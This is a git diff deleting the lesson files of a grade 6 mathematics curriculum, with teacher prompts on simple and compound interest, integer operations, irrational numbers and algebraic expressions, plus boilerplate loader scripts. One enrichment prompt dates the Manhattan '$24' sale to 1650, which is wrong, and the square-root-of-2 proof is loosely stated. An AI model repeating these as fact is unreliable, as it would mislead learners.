-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m04/map612m04a01/source.txt b/Save_Mathematics/P6/map612m04/map612m04a01/source.txt
deleted file mode 100644
index 3ec5115..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a01/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-Introduce interest as the cost-price of money. Introduce the terms: principal and interest rate. Show examples of determining the interest given the principal, the rate, and the time. 
diff --git a/Save_Mathematics/P6/map612m04/map612m04a02/a.txt b/Save_Mathematics/P6/map612m04/map612m04a02/a.txt
deleted file mode 100644
index 8eb0764..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a02/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Guided Practice
-
-Give problems involving determining the interest given the principal, interest rate, and time.
-
-If the answer is incorrect, derive the solution showing the method.
diff --git a/Save_Mathematics/P6/map612m04/map612m04a02/description.py b/Save_Mathematics/P6/map612m04/map612m04a02/description.py
deleted file mode 100644
index d49b829..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m04a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m04/map612m04a02/lesson.js b/Save_Mathematics/P6/map612m04/map612m04a02/lesson.js
deleted file mode 100644
index 75d4519..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m04/map612m04a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m04/map612m04a02/source.txt b/Save_Mathematics/P6/map612m04/map612m04a02/source.txt
deleted file mode 100644
index 8eb0764..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a02/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Guided Practice
-
-Give problems involving determining the interest given the principal, interest rate, and time.
-
-If the answer is incorrect, derive the solution showing the method.
diff --git a/Save_Mathematics/P6/map612m04/map612m04a03/a.txt b/Save_Mathematics/P6/map612m04/map612m04a03/a.txt
deleted file mode 100644
index e379b64..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problems involving determining interest given the principal, interest rate, and time. 
diff --git a/Save_Mathematics/P6/map612m04/map612m04a03/description.py b/Save_Mathematics/P6/map612m04/map612m04a03/description.py
deleted file mode 100644
index b804e81..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m04a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m04/map612m04a03/lesson.js b/Save_Mathematics/P6/map612m04/map612m04a03/lesson.js
deleted file mode 100644
index e2b3374..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m04/map612m04a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m04/map612m04a03/source.txt b/Save_Mathematics/P6/map612m04/map612m04a03/source.txt
deleted file mode 100644
index e379b64..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problems involving determining interest given the principal, interest rate, and time. 
diff --git a/Save_Mathematics/P6/map612m04/map612m04a04/a.txt b/Save_Mathematics/P6/map612m04/map612m04a04/a.txt
deleted file mode 100644
index 9c3b44c..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a04/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduce the idea of compound interest (compounding annually)
-
-Give some examples of determining the compound interest given the principal, interest rate, and period.
diff --git a/Save_Mathematics/P6/map612m04/map612m04a04/description.py b/Save_Mathematics/P6/map612m04/map612m04a04/description.py
deleted file mode 100644
index 214363b..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m04a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m04/map612m04a04/lesson.js b/Save_Mathematics/P6/map612m04/map612m04a04/lesson.js
deleted file mode 100644
index ffe38a6..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m04/map612m04a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m04/map612m04a04/source.txt b/Save_Mathematics/P6/map612m04/map612m04a04/source.txt
deleted file mode 100644
index 9c3b44c..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a04/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduce the idea of compound interest (compounding annually)
-
-Give some examples of determining the compound interest given the principal, interest rate, and period.
diff --git a/Save_Mathematics/P6/map612m04/map612m04a05/a.txt b/Save_Mathematics/P6/map612m04/map612m04a05/a.txt
deleted file mode 100644
index aa37580..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a05/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-Give the students problems to determine the compound interest given a principal, interest rate, and time. If the answer is not correct, show how the solution is derived. 
diff --git a/Save_Mathematics/P6/map612m04/map612m04a05/description.py b/Save_Mathematics/P6/map612m04/map612m04a05/description.py
deleted file mode 100644
index 0e5aec7..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m04a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m04/map612m04a05/lesson.js b/Save_Mathematics/P6/map612m04/map612m04a05/lesson.js
deleted file mode 100644
index e0e96c1..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m04/map612m04a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m04/map612m04a05/source.txt b/Save_Mathematics/P6/map612m04/map612m04a05/source.txt
deleted file mode 100644
index aa37580..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a05/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-Give the students problems to determine the compound interest given a principal, interest rate, and time. If the answer is not correct, show how the solution is derived. 
diff --git a/Save_Mathematics/P6/map612m04/map612m04a06/a.txt b/Save_Mathematics/P6/map612m04/map612m04a06/a.txt
deleted file mode 100644
index 5c4b0a6..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a06/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problms to determine the compound interest given the principal, interest rate, and period. 
diff --git a/Save_Mathematics/P6/map612m04/map612m04a06/description.py b/Save_Mathematics/P6/map612m04/map612m04a06/description.py
deleted file mode 100644
index 86bddab..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m04a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m04/map612m04a06/lesson.js b/Save_Mathematics/P6/map612m04/map612m04a06/lesson.js
deleted file mode 100644
index 1f23bea..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m04/map612m04a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m04/map612m04a06/source.txt b/Save_Mathematics/P6/map612m04/map612m04a06/source.txt
deleted file mode 100644
index 5c4b0a6..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a06/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problms to determine the compound interest given the principal, interest rate, and period. 
diff --git a/Save_Mathematics/P6/map612m04/map612m04a07/a.txt b/Save_Mathematics/P6/map612m04/map612m04a07/a.txt
deleted file mode 100644
index f6ab816..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a07/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Enrichment
-
-Ask the student how to determine principal, interest rate, period or interest given the other three quantities (simple interest).
-
-Ask the student, what is the difference between the value of simple interest and compound interest for the same principal, interest rate, and period.
-
-Introduce the period of compounding. For example, the bank keeps the interest rate constant but compounds monthly instead of annually. What difference does this make.
-
-The Indians sold the island of Manhattan for $24 in 1650? What would be the value of that $24 today if deposited at 3% simple or 3% compounded annually.
-
-Introduce the concept of amortization, e.g. in a mortgage loan.
diff --git a/Save_Mathematics/P6/map612m04/map612m04a07/description.py b/Save_Mathematics/P6/map612m04/map612m04a07/description.py
deleted file mode 100644
index e12fb99..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m04a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m04/map612m04a07/lesson.js b/Save_Mathematics/P6/map612m04/map612m04a07/lesson.js
deleted file mode 100644
index 9c72152..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m04/map612m04a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m04/map612m04a07/source.txt b/Save_Mathematics/P6/map612m04/map612m04a07/source.txt
deleted file mode 100644
index f6ab816..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a07/source.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Enrichment
-
-Ask the student how to determine principal, interest rate, period or interest given the other three quantities (simple interest).
-
-Ask the student, what is the difference between the value of simple interest and compound interest for the same principal, interest rate, and period.
-
-Introduce the period of compounding. For example, the bank keeps the interest rate constant but compounds monthly instead of annually. What difference does this make.
-
-The Indians sold the island of Manhattan for $24 in 1650? What would be the value of that $24 today if deposited at 3% simple or 3% compounded annually.
-
-Introduce the concept of amortization, e.g. in a mortgage loan.
diff --git a/Save_Mathematics/P6/map612m05/activities.js b/Save_Mathematics/P6/map612m05/activities.js
deleted file mode 100644
index 1a8136d..0000000
--- a/Save_Mathematics/P6/map612m05/activities.js
+++ /dev/null
@@ -1,11 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m05a01','blue'],
-['2','2','map6','basic','map612m05a02','blue'],
-['3','3','map6','basic','map612m05a03','blue'],
-['4','4','map6','basic','map612m05a04','blue'],
-['5','5','map6','basic','map612m05a05','blue'],
-['6','6','map6','basic','map612m05a06','blue'],
-['7','7','map6','basic','map612m05a07','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m05/map612m05a01/a.txt b/Save_Mathematics/P6/map612m05/map612m05a01/a.txt
deleted file mode 100644
index 0360233..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a01/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Introduction
-
-Introduce the integers as an extension to the set of whole numbers such that it is possible to determine the difference of any two numbers.
-
-Show the number line interpretation of negative numbers.
-
-Show the relationship between negative numbers and subtraction (i.e. that only the operation of addition is needed in the set of integers since b - a = b + (-a).
diff --git a/Save_Mathematics/P6/map612m05/map612m05a01/description.py b/Save_Mathematics/P6/map612m05/map612m05a01/description.py
deleted file mode 100644
index 73e64d1..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m05a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m05/map612m05a01/lesson.js b/Save_Mathematics/P6/map612m05/map612m05a01/lesson.js
deleted file mode 100644
index 00d3177..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m05/map612m05a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m05/map612m05a01/source.txt b/Save_Mathematics/P6/map612m05/map612m05a01/source.txt
deleted file mode 100644
index 0360233..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a01/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Introduction
-
-Introduce the integers as an extension to the set of whole numbers such that it is possible to determine the difference of any two numbers.
-
-Show the number line interpretation of negative numbers.
-
-Show the relationship between negative numbers and subtraction (i.e. that only the operation of addition is needed in the set of integers since b - a = b + (-a).
diff --git a/Save_Mathematics/P6/map612m05/map612m05a02/a.txt b/Save_Mathematics/P6/map612m05/map612m05a02/a.txt
deleted file mode 100644
index 01e9a56..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a02/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-Give the students examples of naming integers from a directed line segment or as the additive inverse of a number.
-
-Have the students arrange a sequence of integers in ascending or descending order. Emphasize that if a > b then -a < -b. Have the students compare two integers using <, >, or =.
-
-If the student gives an incorrect answer, show how the solution is derived in both interpretations.
diff --git a/Save_Mathematics/P6/map612m05/map612m05a02/description.py b/Save_Mathematics/P6/map612m05/map612m05a02/description.py
deleted file mode 100644
index 483bb38..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m05a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m05/map612m05a02/lesson.js b/Save_Mathematics/P6/map612m05/map612m05a02/lesson.js
deleted file mode 100644
index b6351f1..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m05/map612m05a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m05/map612m05a02/source.txt b/Save_Mathematics/P6/map612m05/map612m05a02/source.txt
deleted file mode 100644
index 01e9a56..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a02/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-Give the students examples of naming integers from a directed line segment or as the additive inverse of a number.
-
-Have the students arrange a sequence of integers in ascending or descending order. Emphasize that if a > b then -a < -b. Have the students compare two integers using <, >, or =.
-
-If the student gives an incorrect answer, show how the solution is derived in both interpretations.
diff --git a/Save_Mathematics/P6/map612m05/map612m05a03/a.txt b/Save_Mathematics/P6/map612m05/map612m05a03/a.txt
deleted file mode 100644
index 842cc36..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problems in naming an integer given it's opposite or from a directed line segment on a number line. 
diff --git a/Save_Mathematics/P6/map612m05/map612m05a03/description.py b/Save_Mathematics/P6/map612m05/map612m05a03/description.py
deleted file mode 100644
index 0b01af1..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m05a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m05/map612m05a03/lesson.js b/Save_Mathematics/P6/map612m05/map612m05a03/lesson.js
deleted file mode 100644
index 9afbf4b..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m05/map612m05a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m05/map612m05a03/source.txt b/Save_Mathematics/P6/map612m05/map612m05a03/source.txt
deleted file mode 100644
index 842cc36..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problems in naming an integer given it's opposite or from a directed line segment on a number line. 
diff --git a/Save_Mathematics/P6/map612m05/map612m05a04/a.txt b/Save_Mathematics/P6/map612m05/map612m05a04/a.txt
deleted file mode 100644
index a9637ab..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a04/a.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-Introduction
-
-Introduce addition, subtraction, multiplication, and division of integers.
-Show that the only change to these operations is to keep track of the sign of the result.
-
-Illustrate clearly why a * -b = -b * a = -ab and why -a * -b = ab (use properties of addition).
-
-Show that -a = -1 * a. Therefore, a * -b = a * b * -1.
-Therefore, -a * -b = -1 * -1 * a * b and -1 * -1 = 1
-
-1 + -1 = 0
-a * (1 + -1) = 1*a + -1*a = a + -a = 0
-
--1 + 1 = 0
--1 * (-1 + 1) = 0
--1 * -1 + -1 * 1 = 0
-(-1*-1) + -1 = 0
-(-1*-1) = 1
diff --git a/Save_Mathematics/P6/map612m05/map612m05a04/description.py b/Save_Mathematics/P6/map612m05/map612m05a04/description.py
deleted file mode 100644
index 38bfcc3..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m05a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m05/map612m05a04/lesson.js b/Save_Mathematics/P6/map612m05/map612m05a04/lesson.js
deleted file mode 100644
index c83adc3..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m05/map612m05a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m05/map612m05a04/source.txt b/Save_Mathematics/P6/map612m05/map612m05a04/source.txt
deleted file mode 100644
index a9637ab..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a04/source.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-Introduction
-
-Introduce addition, subtraction, multiplication, and division of integers.
-Show that the only change to these operations is to keep track of the sign of the result.
-
-Illustrate clearly why a * -b = -b * a = -ab and why -a * -b = ab (use properties of addition).
-
-Show that -a = -1 * a. Therefore, a * -b = a * b * -1.
-Therefore, -a * -b = -1 * -1 * a * b and -1 * -1 = 1
-
-1 + -1 = 0
-a * (1 + -1) = 1*a + -1*a = a + -a = 0
-
--1 + 1 = 0
--1 * (-1 + 1) = 0
--1 * -1 + -1 * 1 = 0
-(-1*-1) + -1 = 0
-(-1*-1) = 1
diff --git a/Save_Mathematics/P6/map612m05/map612m05a05/a.txt b/Save_Mathematics/P6/map612m05/map612m05a05/a.txt
deleted file mode 100644
index 6fee092..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a05/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-Give the student problems in the four operations on integers.
-
-If the student gives the wrong answer, show how the solution is derived.
-
-Notice whether the answer is correct except for sign.
diff --git a/Save_Mathematics/P6/map612m05/map612m05a05/description.py b/Save_Mathematics/P6/map612m05/map612m05a05/description.py
deleted file mode 100644
index d6f4a7d..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m05a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m05/map612m05a05/lesson.js b/Save_Mathematics/P6/map612m05/map612m05a05/lesson.js
deleted file mode 100644
index 73c4882..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m05/map612m05a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m05/map612m05a05/source.txt b/Save_Mathematics/P6/map612m05/map612m05a05/source.txt
deleted file mode 100644
index 6fee092..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a05/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-Give the student problems in the four operations on integers.
-
-If the student gives the wrong answer, show how the solution is derived.
-
-Notice whether the answer is correct except for sign.
diff --git a/Save_Mathematics/P6/map612m05/map612m05a06/a.txt b/Save_Mathematics/P6/map612m05/map612m05a06/a.txt
deleted file mode 100644
index 5735c7c..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a06/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problems involving the four arithmetic operations on integers. 
diff --git a/Save_Mathematics/P6/map612m05/map612m05a06/description.py b/Save_Mathematics/P6/map612m05/map612m05a06/description.py
deleted file mode 100644
index 3745b50..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m05a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m05/map612m05a06/lesson.js b/Save_Mathematics/P6/map612m05/map612m05a06/lesson.js
deleted file mode 100644
index 0124017..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m05/map612m05a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m05/map612m05a06/source.txt b/Save_Mathematics/P6/map612m05/map612m05a06/source.txt
deleted file mode 100644
index 5735c7c..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a06/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problems involving the four arithmetic operations on integers. 
diff --git a/Save_Mathematics/P6/map612m05/map612m05a07/a.txt b/Save_Mathematics/P6/map612m05/map612m05a07/a.txt
deleted file mode 100644
index 5fa4702..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a07/a.txt
+++ /dev/null
@@ -1,19 +0,0 @@
-Enrichment
-
-Emphasize that the integers provides closure for the operation of subtraction and also allows subtraction to be defined in terms of the addition of integers.
-
-Show that the whole numbers are a proper subset of the integers and that the counting numbers are a proper subset of the whole numbers.
-
-Ask the student to consider whether the set of whole numbers is larger (has more members) than the counting numbers. Is the set of integers larger than the set of whole numbers. Show how we count the sets by one-one correspondence. Introduce the infinity symbol as the measure of an unbounded set.
-
-Ask the student to consider whether there is a set of numbers which is closed under the operation of division. This is the set of rational numbers. What restriction would have to be made for this to be possible (p/q where q is not zero). This derives from the property that if a*b = 0 either a=0 or b=0.
-
-Ask the student whether the set of rational numbers is complete. Point out that there are points on a number line which are not rational (e.g. square root of 2). Show the proof that the square root of 2 is not rational -
-
-p/q * p/q = 2 (where p and q are integers, q not 0)
-p * 1/q * p * 1/q = 2
-p*p = 2 q * q
-therefore p = 2*t and p * p = 2*2*t*t = 2*q*q and 2*t*t = q*q therefore q is even
-But p and q were relatively prime.
-
-Why would the square root of two be called an irrational number?
diff --git a/Save_Mathematics/P6/map612m05/map612m05a07/description.py b/Save_Mathematics/P6/map612m05/map612m05a07/description.py
deleted file mode 100644
index 7fcc6f9..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m05a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m05/map612m05a07/lesson.js b/Save_Mathematics/P6/map612m05/map612m05a07/lesson.js
deleted file mode 100644
index 3cc4d06..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m05/map612m05a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m05/map612m05a07/source.txt b/Save_Mathematics/P6/map612m05/map612m05a07/source.txt
deleted file mode 100644
index 5fa4702..0000000
--- a/Save_Mathematics/P6/map612m05/map612m05a07/source.txt
+++ /dev/null
@@ -1,19 +0,0 @@
-Enrichment
-
-Emphasize that the integers provides closure for the operation of subtraction and also allows subtraction to be defined in terms of the addition of integers.
-
-Show that the whole numbers are a proper subset of the integers and that the counting numbers are a proper subset of the whole numbers.
-
-Ask the student to consider whether the set of whole numbers is larger (has more members) than the counting numbers. Is the set of integers larger than the set of whole numbers. Show how we count the sets by one-one correspondence. Introduce the infinity symbol as the measure of an unbounded set.
-
-Ask the student to consider whether there is a set of numbers which is closed under the operation of division. This is the set of rational numbers. What restriction would have to be made for this to be possible (p/q where q is not zero). This derives from the property that if a*b = 0 either a=0 or b=0.
-
-Ask the student whether the set of rational numbers is complete. Point out that there are points on a number line which are not rational (e.g. square root of 2). Show the proof that the square root of 2 is not rational -
-
-p/q * p/q = 2 (where p and q are integers, q not 0)
-p * 1/q * p * 1/q = 2
-p*p = 2 q * q
-therefore p = 2*t and p * p = 2*2*t*t = 2*q*q and 2*t*t = q*q therefore q is even
-But p and q were relatively prime.
-
-Why would the square root of two be called an irrational number?
diff --git a/Save_Mathematics/P6/map612m06/activities.js b/Save_Mathematics/P6/map612m06/activities.js
deleted file mode 100644
index e694716..0000000
--- a/Save_Mathematics/P6/map612m06/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m06a01','blue'],
-['2','2','map6','basic','map612m06a02','blue'],
-['3','3','map6','basic','map612m06a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m06/map612m06a01/Unsaved Document 1 b/Save_Mathematics/P6/map612m06/map612m06a01/Unsaved Document 1
deleted file mode 100644
index 7432ef0..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a01/Unsaved Document 1
+++ /dev/null
@@ -1,12 +0,0 @@
-Introduction
-
-Introduce the student to algebraic expressions such as 3x, 4a+7, x+y/2, (7-x)2.
-
-Explain that each letter in the expression represents a number.
-
